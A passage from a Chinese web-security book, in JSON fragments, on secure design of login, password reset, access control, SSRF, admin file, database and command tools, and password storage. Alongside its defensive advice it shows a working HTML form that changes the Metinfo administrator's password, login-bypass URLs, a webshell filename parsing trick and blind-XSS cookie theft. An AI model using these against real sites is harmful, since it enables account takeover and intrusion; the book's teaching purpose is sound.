2）不把验证码放到HTML页面或者Cookie中。 3）验证码要设置只能请求一次，请求一次后不管错误与否都在后端程序强制刷新。 图 11-4 图 11-5 4）短信或者邮件验证码必须要6位以上字母和数字混合，图片或者语音验证码需要加强混淆干扰，比如图片文字变形，增加干扰斑点等。语音验证码增加背景噪声。 5）验证码要动态生成，不能统一生成多次调用。 11.1.2 验证码资源滥用 除了验证码识别外，验证码还存在一个大问题就是资源滥用。相信大家应该对短信轰炸或者邮箱轰炸比较了解，被轰炸的手机号会在短时间内收到大量短信，从而造成受害者手机一直响，也无法愉快地看短信，工具如图11-6所示。 图 11-6 我们来看看短信轰炸的效果，如图11-7所示。 图 11-7 从这些短信内容里面可以看到，这类工具是利用了大量网站的短信验证码接口，而这些接口没有限制获取验证码次数和时间间隔，导致了可以不断被调用，防护起来比较简单，只要注意限制单个手机号在一个时间段内请求接收短信的次数，另外就是限制某个IP在一个时间段内请求接收短信的次数，这是为了防止提交大量手机号，消耗短信资源。"},
    {"text": "11.2 用户登录 用户登录是最常见的一个功能，登录就意味着权限授予，如果攻击者能任意登录管理员的账号，也就拥有了管理员的权限，更多的访问权限就能带来更多的安全问题，所以在登录的安全尤为重要。通常登录功能有以下几个需要关注的点。 11.2.1 撞库漏洞 撞库漏洞是指登录口没有做登录次数限制，导致可以使用不同的用户及密码进行不断的登录尝试，以遍历用户密码，也可以理解为登录爆破，如图11-8所示。 图 11-8 撞库漏洞有以下几种情况： 1）用户名和密码错误次数都无限制 。这种情况是早期比较常见的，可以载入用户名和密码字典对登录口不断进行请求尝试。 2）单时间段内用户的密码错误次数限制 。之前有个“锁QQ”的茬儿，说的是QQ登录密码连续错误次数30次，就会被锁定QQ，就有人利用这个问题不断地去锁定别人的QQ。这种方式是基于账号可信认证，密码错误次数存在限制，认证的是账号。所以这种情况也是可以撞库的，只要我们有一个用户名列表，爆破完一个密码还不能登录就换一个用户，或者干脆基于社工库的密码来撞。 3）单时间段内IP登录错误次数限制 。比较典型的是discuz，就是基于IP来限制登录，当一个IP登录5次后还没有成功登录，则会被禁止该IP登录，不过discuz获取的是Client-IP存在绕过的问题。这种防御撞库的手段存在一个误杀的问题，如果出口IP里面还有一个大内网，比如企业网、学校网，这时候就会误杀其他用户。 针对撞库漏洞比较好的解决方案是使用登录验证码和多因素认证，登录验证码有很多种，选择安全的验证方式也很关键，因为目前网络上还有专门提供人工打码的服务平台。 11.2.2 API登录 2014年淘宝被曝光一个影响非常大的逻辑登录漏洞，漏洞发现者在乌云报告该漏洞后获得阿里5万元现金的奖励，随后阿里宣布拿出500万人民币建立漏洞悬赏计划。这个漏洞跟很多客户端API登录的形式差不多，相信大家都有在QQ客户端点击邮箱或者QQ空间的图标就直接免登录进入的经历，其实在后端也有一个验证登录过程。来看看淘宝当时的漏洞URL： https ： //login.taobao.com/member/login_by_safe.htm ？ sub=&guf=&c_is_scure=&from=tbTop&type=1&style=default&minipara=&css_style=&tpl_redirect_url=&popid=&callback=jsonp81&is_ignore=&trust_alipay=&full_redirect=&user_num_id=123456789&need_sign=&from_encoding=%810%851_duplite_str=&sign=&ll=&ei=QaIBU-XLLYze0wHy-YGoCw&usg=AFQjCNGXm310YgBJj5KDzLkZzaOAUl2UnQ&bvm=bv.61535280 ， d.cWc&cad=rjt 已经验证登录成功后会跳转到这个链接，这个链接里面有一个user_num_iduser_num_id参数，代表当前登录的用户ID，请求这个链接后服务器端会返回这个用户登录成功后的Cookie信息，这里的问题就在于将用户ID交给这个程序逻辑的时候，并没有带上唯一的一个Token，这就导致只要修改user_num_iduser_num_id这个参数即可登录任意用户。同样，QQ客户端点击图标进入QQ空间的时候我们可以看到这样一个链接： http ： //ptlogin2.qq.com/igame ？ clientuin=123456&clientkey=DC81BF8E5DC1DA7918DCA17A78FDF236DD6E41C09432B1DF5694F66B04C18DF54 其中clientuin参数为QQ号码，clientkey参数为当前用户登录的key，只要拿到这个clientkey则可以登录当前QQ号，对于这样的登录方式需要注意以下几个安全点： 1）登录密钥（clientkey）需要不可预测并且不固定，生成key的算法中加入随机字符。 2）API接口禁止搜索引擎收录。 3）登录密钥当次绑定当前主机，换机器不可用，防止QQ木马和嗅探key。 11.3 用户注册 淘宝有专门的风控团队，垃圾注册一直是比较头疼的问题，目前像贴吧、论坛、微博以及大部分的娱乐应用都有一些评论和投票功能，通过这些功能可以传播广告或者刷排名，于是就出现了商业机会，一些人开始写自动化注册机去发广告，导致社区质量下降，大部分的网站都是需要登录才能使用这些功能的，而登录的前提是有账号，所以注册账号这块拦截掉注册机是最好的防御点。 机器注册已经被拦截得差不多，现在恶意注册的诈骗团伙已经以低价向学生提供兼职注册服务，由学生人工注册账号，填写验证码。对于这样的注册方式，就只有用大数据来分析注册账号的电脑、IP以及注册人行为去防控。在注册这方面，淘宝已经加入了滑动人机识别，并且效果非常不错，如图11-9所示。 图 11-9 对于用户注册，需要有以下几个安全设计思路： 1）设计验证码。 2）采集用户机器唯一识别码，拦截短时间内多次注册。 3）根据账号格式自学习识别垃圾账号。 4）防止SQL注入漏洞与XSS漏洞（常见）。"},
    {"text": "11.4 密码找回 密码找回是出现逻辑问题最多的一个功能，因为它的交互流程最多，目前找回密码的方式比较常见的有邮箱验证码、手机验证码以及密保问题，这个流程通常如图11-10所示。 图 11-10 这个三个大流程中都经常有一些逻辑问题，下面我们来详细看看。 1.输入用户名/邮箱/手机阶段 这里有一个交互过程，即需要输入要重置的账号信息，单击确定的时候，目前大部分的应用会直接从数据库中读取用户邮箱和手机信息，并且发送验证码，还有一部分程序在输入用户名后，会提示使用手机还是邮箱找回密码，并且邮箱和手机号中的一部分会显示在页面上，比如网易账号，如图11-11所示。 提交的时候可以直接抓包修改手机或者邮箱参数，这时候如果后端没有做验证，原本发送给账号A的验证码会发送到被我们篡改的手机或者邮箱上，利用接收到的验证码即可重置密码。 2.填写验证码和新密码阶段 填写验证码和新密码就意味着我们已经拿到了验证码或者重置密码的URL，这里存在的问题主要有： 图 11-11 1）验证凭证较简单，可以被暴力破解 。目前大多数手机短信重置密码的验证码都是4位或者6位数字，如果提交验证码的地方没有对这个验证码进行错误次数限制，则会存在可以爆破的问题，这是目前最常见的一种找回密码漏洞利用方式。 2）验证凭证算法简单，凭证可预测 。部分网站找回密码的Token是根据当前的“用户名+邮箱”或者时间戳进行一次MD5后生成，这就存在一定的预测性，利用自己写的算法去碰撞即可拿到争取到的重置密码凭证。 3）验证凭证直接保存在源码里 。这种目前比较少，不过也存在一定比例，一种是在点击发送验证码的时候就可以直接在源码里看到给当前手机或者邮箱发送过去的验证码，还有一种是在输入验证码的时候，源码里面就直接保存了正确的验证码。 3.发送新密码阶段 凭证未绑定用户 ：我们在找回密码的时候，发送到邮箱的链接通常是如下这个样子 http ： //www.xxx.com/user.php ？ m=repwd&uid= 用户 ID&key= 凭证密钥 &email= 邮箱 当请求这个链接的时候，后端程序根据uid和key对应上了从而判断这个找回密码的链接有效，但是在将新密码提交到服务器的时候，服务器端并没有判断当前这个key是否跟uid或者email匹配，而是直接修改掉了uid或者email指定的用户密码，这样我们只要拦截修改密码的请求包，将里面的用户参数修改成我们要篡改密码的用户账号即可。 基于以上对密码找回的利用方法分析，可以想到的安全风险点应该注意的有： 1）接收验证码的邮箱和手机号不可由用户控制，应该直接从数据库中读取出来。 2）加强验证凭证复杂度，防止被暴力破解。 3）限制验证凭证错误次数，单个用户在半个小时内验证码错误三次，半小时内禁止找回密码。 4）验证凭证设置失效时间。 5）验证凭证不要保存在页面。 6）输入用户邮箱或ID、手机号取验证凭证的地方需要设置验证码防止短信炸弹和批量找回等。 7）验证凭证跟用户名、用户ID、用户邮箱绑定，找回密码时验证当前凭证是否是当前用户的。 11.5 资料查看与修改 用户的资料操作涉及权限问题，其实这里主要介绍的是越权漏洞的利用场景，为了保护用户的隐私，大多数网站提供了用户权限控制的功能，用户可以自己设置个人资料是否允许别人查看，在权限控制方面，主要有以下几种利用场景： 1）未验证用户权限 。这里说的未验证用户权限是指直接修改当前资源ID即可浏览该资源，没有验证当前这个资源是否属于当前用户，比如用户A的订单ID是111，用户B的订单ID为222，用户A登录后查看自己订单详情的时候，将URL中的订单ID参数改为222即可看到用户B的订单，2014年的时候阿里巴巴国际贸易站因为这个漏洞被炒作受了很大的舆论影响。 2）未验证当前登录用户 。上一种情况是没有验证当前这个资源是否属于当前用户，而这种情况是虽然程序绑定了用户ID和资源ID，但是这个用户ID是在访问资源时直接从cookie或者post、get参数里面获取的，所以我们只要在cookie里面把用户ID修改成另外一个用户的ID，就可以利用他的权限操作他的东西，这是目前见得比较多的一种情况。 上面介绍的两种情况，虽然只是列举用户资料查看，但是更多的出现是在用户资料修改，比如个人资料、订单、密码，等等。 对于用户注册功能我们需要用到的防御思路有： ·用户资源ID（订单ID、地址ID类似，等等）绑定到用户，只允许有权限的用户查看。 ·当前用户信息存储到session，不放到request中，避免攻击者修改当前用户ID。"},
    {"text": "11.6 投票/积分/抽奖 投票和抽奖以及积分在很多促销活动或者推广手段上都经常用到，背后的奖品成本可能上数十万，如果这些奖品被恶意用户（黄牛）刷走了，不仅推广的效果没有，而且浪费了成本投入，如图11-12所示。 图 11-12 不管是投票、积分还是抽奖，都存在一个共同点：即单个用户次数存在限制，比如一场活动中一个用户只能抽奖一次。这样的限制也会存在很多种绕过方式，下面我们来看一个真实案例，笔者在乌云找了这么一个漏洞： 缺陷编号：WooYun-2014-65631 漏洞标题：设计缺陷导致抽奖功能存在刷次数情况 相关厂商：M1905.COM 漏洞作者：路人甲 我们来看看漏洞情况。首先，注册账号进入 http://t4.m1905.com/ 来到抽奖部分，然后做完两个任务，可以抽两次奖，抽完后页面如图11-13所示。 抽完奖之后删除cookieshared_t42014和logind_t42014，刷新页面后即可再次做任务并抽奖，如图11-14所示。 图 11-13 图 11-14 从这个案例中可以看到程序是基于cookie验证，所以删除相应cookie即可绕过限制。 通常抽奖和投票有如下几种利用方法： 1）cookie或POST请求正文绕过。有的应用将验证是否抽奖或者领取积分的判断值放置在cookie或者POST的请求正文里，服务器端获取到这个结果后判断是否还有机会抽奖，而这个数据我们是可以直接在数据包中修改的，所以就会产生绕过，比如cookie中isok=1代表已经抽奖，isok=0代表还没有抽奖，而我们只要再点击抽奖，然后把isok的值改为0即可一直抽奖。 2）基于IP验证。做得比较弱的统计是直接基于IP验证，像访问量、推广获取积分等，这类要看程序获取IP的方式，如果是client-ip或者x_forword_for获取IP，则可以直接伪造IP绕过。 3）基于用户认证。也有一部分应用需要登录以后才能抽奖或者投票，这类可以结合看看能不能批量注册，如果可以，则可以用程序实现批量登录刷票，或者投票的时候POST包或者cookie里面的当前uid、用户名等是否可以随意修改绕过用户单次限制。 从上面利用手段可以看到主要的三个点是IP、登录用户cookie，分析出可用性较高的防御手段如下： ·机器识别码验证，每台机器都可以根据硬件信息生成唯一的识别码。 ·操作需要登录，当前用户信息从session中读取。 11.7 充值支付 关于支付漏洞已经在6.2.1.4节详细介绍过，主要有四种，分别是客户端可修改单价、总价和购买数量以及利用时间差多次购买，这里不再反复介绍，针对这四种情况的主要应对手法是： 1）保证数据可信，商品单价及总价不可从客户端获取。 2）购买数量不能小于等于0。 3）账户支付锁定机制，当一个支付操作开始就应该立马锁定当前账户，不能同时两个后端请求对余额进行操作。 11.8 私信及反馈 私信和反馈功能在大多数网站中都能见到，特别是社交应用，私信是必不可少的功能。这个功能是两个用户之间互动使用，两端都是人，除了特殊情况下可以滤去的SQL注入或者命令执行等少见漏洞外，最常见的就是XSS漏洞以及越权漏洞。 近年流行的XSS盲打平台把XSS漏洞推向了利用高潮，XSS盲打是指在不确定能否利用的情况下输入XSS代码进行不可预知的攻击，而这正是利用了私信和反馈这些功能，因为这些功能可以直接跟管理员沟通，利用其中存在的XSS漏洞拿到管理员cookie数据。我们来看乌云网的一个例子： 缺陷编号：WooYun-2015-118779 漏洞标题：爱鲜蜂app某处可盲打已入后台 相关厂商：爱鲜蜂 漏洞作者：路人甲 在应用的意见反馈处插入XSS代码，如图11-15所示。 图 11-15 当管理员在Web后台查看反馈后，即可获得管理员的cookie，如图11-16所示。 图 11-16 最后利用cookie登录后台，如图11-17所示。 图 11-17 对于私信和反馈的XSS漏洞防御并没有什么特别的手段，跟我们之前介绍过的XSS防御方法一样，最主要的是将特殊字符进行过滤，另外是使用白名单和黑名单结合的方式。"},
    {"text": "11.9 远程地址访问 Wordpress、phpcmsd等众多应用都有访问远程地址获取资源的功能，这个功能产生的漏洞叫做SSRF（Server-Side Request Forgery），我们在QQ消息中发送网页链接的时候，会显示出网页的标题和部分内容，这就说明腾讯的服务器有去访问我们发送的这个链接，那如果腾讯没有做地址限制，我们在聊天框里面发送一个腾讯内网的一个地址，那它再去访问的时候我们就能知道这是一个内网的什么系统，造成信息泄露，甚至内网漏洞利用，我们来看一个乌云网的例子： 缺陷编号：WooYun-2015-118052 漏洞标题：美丽说某处ssrf探测内网存活主机 相关厂商：美丽说 漏洞作者：玉林嘎 提交时间：2015-06-04 09：37 美丽说开发平台 http://center.open.meilishuo.com/app/createApp 有一个填写回调地址的地方，当填写的时候服务器会去访问这个地址是否有效，如图11-18所示。 图 11-18 如果有人恶意填个内网呢，先看看当填写一个不存在的地址时，页面会返回“回调地址检测失败”，如图11-19所示。 图 11-19 当地址存在时，则会返回“回调地址检测成功”，如图11-20所示，那我们就可以利用这个返回结果的差异来对比，批量扫描内网。 图 11-20 案例里面是HTTP协议的探测，实际上这个跟协议没有关系，之前也有厂商出现过连接远程MySQL服务同样的SSRF漏洞。 这类漏洞防御看起来好像没有什么难度，只要限制填写就可以，但是大部分厂商修复的时候应该不会考虑到短地址的问题，所以在修复之后仍然可以通过生成短链接来利用，建议修复的时候注意这点。 11.10 文件管理 文件管理功能本身就是一个高危功能，可以直接对服务器中的文件进行操作，包括上传、下载、修改、删除，如果权限管理不当，可能导致被黑客直接利用该功能写入webshell，实际上目前大多数上传webshell的方式确实是利用了文件操作功能，dedecms后台的文件管理就是非常典型的一个例子，如图11-21所示。 图 11-21 一个文件管理功能为了保证安全，在满足业务需求的情况下，设计的时候应该遵循以下几个点： 1）禁止写入脚本可在服务器端执行的文件 。比如服务器能解析PHP，那么在设计文件管理这个功能的时候，就需要限制不能操作PHP扩展名的文件和PHP标签的代码。为什么说连代码标签也要限制？因为前端页面的都套用了HTML模板，大多是直接包含了HTML文件，如果我们直接在模板文件中插入PHP代码，最终也能执行。 2）限制文件管理功能操作的目录 。通常需要被管理的文件只有模板文件以及图片文件，所以我们可以在文件管理功能上限制只能操作这两个目录，目录不能从客户端提交，直接在代码中设置好即可，如果实在需要进行目录跳转的话，一定要禁止提交../以及\\..，避免越权操作其他目录。 3）限制文件管理功能访问权限 。之前我们已经说到文件管理功能本身就是一个非常敏感的功能，虽然是一个正常的功能，但是已经有一点后门的性质，所以对于这个功能的访问权限一定要进行严格的控制。 4）禁止上传特殊字符文件名的文件 。大多数应用都会对上传的文件进行展示，特别是对外开发的网盘类应用，这时候就要注意对上传的文件名进行检查，禁止文件名中有尖括号、单双引号等特殊字符，避免攻击者用文件名来进行XSS攻击。 11.11 数据库管理 数据库管理跟文件管理一样，也是一个高危功能，可以直接操作数据库，对数据库进行备份、执行SQL语句，等等，如果启动数据库服务的系统用户以及数据库用户的权限都够大，那么完全可以利用这个功能直接执行系统命令以及操作服务器上的文件，如图11-22所示。 图 11-22 数据库管理有多个功能形式，比如discuz的数据库管理就是一个备份和优化的功能，其备份功能是可以操作所有表，另外一种是可以直接执行SQL语句进行操作。对于这两种情况下的安全设计，应该注意以下几个点： 1）限制可以操作的数据库表，如果是数据库备份可以直接在代码里面写死只能操作哪些表，如果是执行SQL语句的方式可以另建一个MySQL用户，限制可以操作的表和字段。 2）限制备份到服务器上的文件名，需要系统随机生成类似md5并且长度不能低于16位，扩展名不能自定义，这样做的目的一是防止攻击者利用该功能导出webshell，二是防止被猜解到文件名直接下载。 11.12 命令/代码执行 命令执行和代码执行功能通常都在系统后台，相比来说，命令执行的功能使用的更多一点，代码执行功能在特殊应用上面才会存在，而命令执行在类似Zabbix、WDCP等大量运维系统上都存在，如图11-23所示。 图 11-23 该功能可以直接在服务器上执行系统命令，危害性自然不言而喻，命令执行和代码执行功能再加上前面提及的文件管理和数据库管理功能，目前的webshell功能也不过如此了。 一旦这个功能被拿下，基本上服务器就沦陷了，所以在设计这类功能时应该注意以下几点： 1）严格控制该功能访问权限，建议高权限才能访问。 2）在满足业务需求的情况下，可以设置命令白名单，可使用escapeshellcmd（）以及escapeshellarg（）函数进行过滤，命令直接写死在代码中更好。 3）给命令及代码执行功能设置独立密码。 4）代码执行功能限制脚本可访问的路径。 5）在满足需求的情况下限制当前执行命令的系统用户权限。"},
    {"text": "11.13 文件/数据库备份 网站源码备份和数据库备份是非常常见的一个功能，也是非常容易出现安全问题的一个功能，如图11-24所示为discuz数据库备份功能，需要配置多个选项，图中为discuz后台数据库导出功能。 通常文件和数据库备份功能容易出现的问题有如下几种情况： 1）未授权访问和越权访问。未授权访问体现在这个备份功能直接在不登录或登录验证存在漏洞的情况下可以直接使用，以及存在CSRF漏洞可以直接劫持管理员账号进行备份，discuz的CSRF备份数据漏洞就是非常好的一个例子。 2）备份文件名可预测。备份文件名要么是备份的时候人工设置的，要么是自动生成的，如果是人工设置的，在使用完这个功能后可能存在忘记删除备份文件，导致恶意用户可以利用枚举的方式扫描到这个备份包。而自动生成则可能存在生成的文件名比较弱的问题，比如生成的文件名为当前日期，只要简单遍历下即可扫描到，非常不可靠。 3）生成的文件可利用Web中间件解析漏洞执行代码。 渗透测试中写入webshell经常会用到Web中间件的解析漏洞，而当备份功能可以自定义文件名的时候，只要在数据库中写入PHP代码，然后在IIS下时，利用数据库备份功能生成类似“1.asp；.jpg”文件名的文件，到Apache的下就备份成文件名为“1.php.zip”这样的文件，就可以直接执行我们在数据库中插入的代码。 图 11-24 针对如上的分析，我们来总结一下怎么设计备份功能： 1）进行权限控制，由于备份功能是一个非常高危敏感的功能，一定要限制高权限才能使用。 2）文件名随机生成，不可预测，可以把当前时间戳加上6位以上字母和数字随机生成的字符串进行md5来做为文件名。 11.14 API API（Application Programming Interface，应用程序编程接口）是一些预先定义好的类和函数，为其他程序提供一个简单的资源调用接口，调用API接口通常需要给它一个参数，API根据这个参数计算结果返回给调用方，返回形式有JSON、序列化、Base64编码等方式，这种API随处可见，如图11-25所示为新浪网的一个API接口。 图 11-25 从图中可以看到这个接口传入了很多参数，这种接口如果是在安卓、iOS等APP中使用时，传统的漏洞扫描器很难进行高覆盖率漏洞扫描，因为爬虫无法抓取到这种API接口，所以接口的SQL注入等漏洞就相对较多，如图11-26所示是乌云网搜索“接口”关键字的结果，数量达到上千条。 从乌云网的API漏洞可以看到目前API最多的问题是未授权访问以及数据遍历漏洞，如果一个接口随随便便就可以被调用，在业务有一定价值的情况下，相信肯定会有不少人利用这个接口进行一些不当操作，而频繁操作会给服务器造成非常大的资源消耗，因此设计一个安全的API应该从以下几点着重考虑： 1）访问权限控制。必要的情况下加入账户体系，严格控制数据调用权限，比如当前用户必须在登录情况下，接口参数中传入自己登录成功的凭证才能调用这个用户的数据。另外不需要账户体系的情况下也要注意加入不可暴力破解的访问密钥进行权限验证。 2）防止敏感信息泄露。之前对知乎的App进行了抓包分析，其中用户资料的API就存在注册邮箱信息泄露，该接口会返回当前查看的用户资料，其中包括注册邮箱，这样只要知道某个人的知乎账号即可知道他的个人邮箱，类似于这种没必要输出的信息应该要注意禁止输出。 图 11-26 3）SQL注入等常规漏洞。由于传统扫描器很难抓取到完整的接口和参数，当检测变得少了，漏洞自然就多了，所以我们在开发接口的时候要特别注意代码安全，注意防止SQL注入、代码执行等漏洞的产生。 第12章 应用安全体系建设 信息安全的防御遵从木桶原理，这个观点在安全界受到一致认可，所以整个应用安全状态不是由某一个业务点或者功能点决定，需要从根源去解决安全问题。 我认为企业安全防御包含两点：横向细化策略和纵深策略。横向细化策略的精髓在于坚持能杀掉一个是一个的原则，依靠规则量来填补空洞，规则做得越细，拦掉的攻击越多。这是在提升黑客的攻击成本，而缺点在于同样也提升了防御成本，需要更多的投入。而纵深防御策略是假设上一层防御策略失效而设计的内网防御策略。这两种安全原则不仅仅用在企业整体安全建设上，更是要细化到每个应用设计上面。 本章将介绍横向细化策略和纵深策略的具体实施方法和典型案例，如给一个后台登录口加上手机短信验证，加上验证码，再加上密码错误次数限制等，这些手段都是为了防止暴力破解行为。而当攻击者通过其他手段得到了内网访问权限，这时候登录还需要设置手机短信验证码来验证登录权限等手段。"},
    {"text": "12.1 用户密码安全策略 密码是用户登录非常重要的验证凭证，特别是管理员账号的密码安全更加敏感，按理来说账户出现异常是不能把责任全推给用户的，应用程序应该在设计的时候就考虑到密码安全策略。针对密码安全，笔者曾经在AWDC（阿里云开发者大会）上做过分享，笔者从互联网收集到大量泄露的网站用户数据库，对这些密码进行了分析，其中密码加密情况如图12-1所示。 图 12-1 从分析中得到，泄露的密码中有接近30%为明文密码，剩余70%多基本为简单的MD5加密，而通常普通用户密码强度普遍不高，据笔者统计使用率最高的几个密码如图12-2所示。 图 12-2 所以一旦某一家网站数据库泄露，MD5加密很容易被破解，会导致该账户多个网站的账户都被登录，泄露更多个人信息。 为了解决密码安全问题，单从密码策略上面来说，我们应该遵守以下原则： 1）强制密码使用8位以上的“大小写字母+数字+特殊字符”的组合。 2）禁止使用123456以及1qaz2wsx等弱口令。 3）禁止用户名和密码相同，或者存在较大相似度。 12.2 前后台用户分表 前台用户指的是没有登入后台权限的普通用户，这类用户是不需要操作后台数据的，而后台用户即管理员用户，有后台登入权限，并且可以在后台对应用进行配置，从逻辑上来讲，两个不在同一操作层面的账户等级，完全不用将账户放到同一个数据库表里面，因为当同表的情况下可能存在越权修改管理员信息的情况，比如密码、找回密码的邮箱等，这一类的例子已经不少见，比如像笔者2012年发现的metinfo企业管理系统的任意用户密码修改漏洞，就可以修改管理员的密码，具体的漏洞情况如下。 Metinfo系统的会员和管理员都在met_admin_table表，我们看到member\\save.php文件，代码如下： if （ $action==\"editor\" ） { $query = \"update $met_admin_table SET admin_id = '$useid' ， admin_name = '$realname' ， admin_sex = '$sex' ， admin_tel = '$tel' ， admin_modify_ip = '$m_user_ip' ， admin_mobile = '$mobile' ， admin_email = '$email' ， admin_qq = '$qq' ， admin_msn = '$msn' ， admin_taobao = '$taobao' ， admin_introduction = '$admin_introduction' ， admin_modify_date = '$m_now_date' ， companyname = '$companyname' ， companyaddress = '$companyaddress' ， companyfax = '$companyfax' ， companycode = '$companycode' ， companywebsite = '$companywebsite'\" ； if （ $pass1 ） { $pass1=md5 （ $pass1 ）； $query .=\" ， admin_pass = '$pass1'\" ； } $query .=\" where admin_id='$useid'\" ； $db->query （ $query ）； Metinfo系统跟dedecms一样，有一个变量注册的机制，只要我们在HTTP请求里面提交一个参数，就会被自动注册成变量，这段代码中的SQL语句拼接起来大概的意思如下： update $met_admin_table SET ... 省略 ... admin_pass = '$pass1' where admin_id='$useid' 由于这里的$useid变量就是直接从请求中获取，所以当我们提交用户ID为1，即管理员用户的时候，就可以直接修改管理员密码，利用代码如下： <form method=\"POST\" name=\"myform\" action=\"http ： //www.xx.com/member/save.php ？ action=editor\" target=\"_self\"> <table cellpadding=\"2\" cellspacing=\"1\" border=\"0\" width=\"95%\" class=\"table_member\"> <tr> <td class=\"member_text\"><font color=\"#FF0000\">*</font> 用户名 &nbsp ； </td> <td colspan=\"2\" class=\"member_input\"> <input name=\"useid\" type=\"text\" class=\"input\" size=\"20\" maxlength=\"20\" value=\"seay\" ></td> </tr> <tr> <td class=\"member_text\"><font color=\"#FF0000\">*</font> 密码 &nbsp ； </td> <td colspan=\"2\" class=\"member_input\"> <input name=\"pass1\" type=\"password\" class=\"input\" size=\"20\" maxlength=\"20\"></td> </tr> <td class=\"member_submit\"><input type=\"submit\" name=\"Submit\" value=\" 提交信息 \" class=\"submit\"></td> </tr> </form> 保存为以上内容为1.html，用户名输入框填写要修改的用户名（管理员基本用户名都是admin），密码填写成要修改成的密码，修改代码中www.xx.com为目标网站域名，提交之后即可修改该用户密码。 笔者当时测试了下官方Demo网站，成功修改创始人密码，并且成功登入管理后台，如图12-3所示，该漏洞已经在第一时间提交给官方修复。 图 12-3 通过以上例子可以看出将前后台用户分表存储的必要性，可以很大程度上防止账户体系上的越权漏洞。 12.3 后台地址隐藏 渗透测试中几乎每次都要做的事情就是对网站目录进行枚举，看看有没有敏感文件和后台地址泄露，这类工具有很多，其中御剑就是用户量非常大的一款工具，只要在作业列表栏里面点击添加按钮，输入HTTP访问地址之后，再点击“开始扫描”即可对网站进行目录探测，如图12-4所示。 图 12-4 一旦发现后台地址，就会对后台进行暴力破解等操作，甚至会利用社会工程学的方式想方设法拿到管理员的密码，相对而言，如果我们连后台地址都不让攻击者找到，那这些攻击手段就用不上，所以，后台目录不能固定，应该由用户登录后台页面后自定义设置，或者直接修改后台文件夹即可，为了提高安全性，还应该在安装完成后立刻提醒管理员修改后台地址，比如DedeCMS就一直在后台主页标红显示，如图12-5所示。 图 12-5"},
    {"text": "12.4 密码加密存储方式 从各大社工库交易论坛来看，目前每天都有不少网站被拖库，其中不乏行业影响力排行靠前的企业网站，总计公开的数据库达十亿条以上，如图12-6和图12-7所示。 图 12-6 图 12-7 密码安全的存储成为了保障用户信息安全首要关注的事情，据笔者的统计分析，泄露的数据有30%未加密，60%以上采用的MD5和sha1类型的哈希算法存储，由于普通用户的密码普遍不会很复杂，保守估计90%以上的用户密码可以轻松被解密，有多家网站专门提供密码破解的服务，像cmd5.com、xmd5.org等，其中cmd5.com更是号称破解成功率高达95%，既然用户自己不会设置高强度的密码，那服务方应该想办法解决这个问题，一是采用高强度安全环境保存，数据仍然是普通MD5等算法保存，不过谁也无法保证100%安全，这种做法看起来有鸡肋的感觉，另外一种做法就是为密码加一个极其复杂的固定字符串，再进行MD5或者sha1算法进行保存，这样通过枚举的方式就很难解密，举一个例子，代码如下： < ？ php $password=$_POST['password'] ； $safestr = \"0123456789abcdefghijklmnopqrstuvwxyz~ ！ @#$%^&* （） _+}{.| ； \" ； $salt=\"\" ； for （ $i=0 ； $i<6 ； $i++ ） { $salt .= $safestr[rand （ 0 ， 54 ） ] ； } $password=md5 （ md5 （ $password.'*5t42g^_^$$FFSD' ） .$salt ）； echo $password ；？ > 将生成的salt存入数据库中，后期验证过程中将salt取出重新用MD5运算一下，对比结果即可知道密码是否正确。 12.5 登录限制 基于纵深防御的思想，假设前面所说的后台地址已经泄露，假设密码被社会工程学等方式窃取到，这种情况下我们就要考虑在登录这一层设置障碍，即使攻击者拿到密码也无法登录，想实现这一效果该怎么做呢，是做信誉体系？自动识别好人和坏人？这种方式很有效果，但是实现起来太庞大，一般的公司没有这样的数据基础去做件事，所以用代码来简单实现最简单的策略如下所示。 1）限制登录IP。只能固定IP访问，或者说公司内网访问，在外网需要访问的时候拨VPN即可。 2）双因素认证。限制内网IP是相对安全的，但是还不够安全，因为攻击者有很大的可能已经通过其他途径进入到内网，所以就需要用到双因素认证手段，比如手机验证码、动态令牌都是非常有效的方式，我们在渗透测试的时候经常遇到这种情况：拿到密码之后要双因素认证才能登录。 12.6 API站库分离 在很久以前就有不少网站使用站库分离这种方式，不过实现的方式不一样，大多数的站库分离只不过是把数据库放到另外一台服务器上，然后开放数据库端口给Web服务器，Web应用直接通过数据库密码操作数据，这样的方式只能优化服务器的效率，对于安全性的提高并没有什么帮助，笔者这里说的站库分离是采用API的方式调用数据，大概的原理如图12-8所示。 图 12-8 如果业务比较复杂，可以单独跑一台API服务器，数据库服务器配置只允许API服务器访问，流程如图12-9所示。 图 12-9 通过API实现站库分离的好处在于，攻击者即使拿到了Web服务器，也无法在短时间内将全部数据拖走，只要我们建立API接口监控，设置一个阈值，遇到监控接口突然被频繁调用的情况，则说明可能存在刷库行为，这也起到一种入侵检测的作用，当然这一切的前提是API服务器的安全要做好。 12.7 慎用第三方服务 第三方服务的分类有很多，这里说的第三方服务指的是第三方开放给Web应用的接口，或者JS等，CNZZ、百度统计以及广告等，就是非常典型的第三方服务，展现形式多种多样，如图12-10所示。 图 12-10 如图12-11所示为CNZZ用户数据分析，可以精确地统计访客的性别、年龄、职业，等等。 图 12-11 广告商通常都是事先收集用户访问过的网站，然后精准定向推送广告，这就需要一张大网，才能收集到访客的信息，比如使用CNZZ，需要在网站上插入一段JS代码，大致如下所示： <script src=\"http ： //s85.cnzz.com/stat.php ？ id=4318211&web_id=4318211&show=pic\" language=\"JavaScript\"></script> 这段短小的代码会生成一段长长的JS，而一旦用户访问了我们的网站，用户的浏览器就会执行这段JS，JS可以做的事情很多，挂马、钓鱼、盗取cookie，甚至制造蠕虫病毒和发起DDOS攻击，一旦攻击者入侵CNZZ和广告商这些第三方服务之后，就可以间接入侵使用了这些服务的网站，危害非常大。如果一定要使用，建议选择权威一点的服务提供商。 12.8 严格的权限控制 用户权限控制涉及一个角色功能的问题，一种角色可以有多个用户，比如一个商城系统的角色可以分为：超级管理员、普通注册会员、商品管理员、文章管理员、会员管理员、系统设置管理员，订单管理员、评论反馈管理员，等等，如图12-12所示是ECShop后台角色配置页面，权限的控制划分得非常细。 图 12-12 细化权限也是安全体系中非常重要的一环，往往职位不高的人安全意识会比较薄弱，密码可能会设置得相对简单，给他较低的权限，就可以限制他的操作行为，从而提高安全性。"},
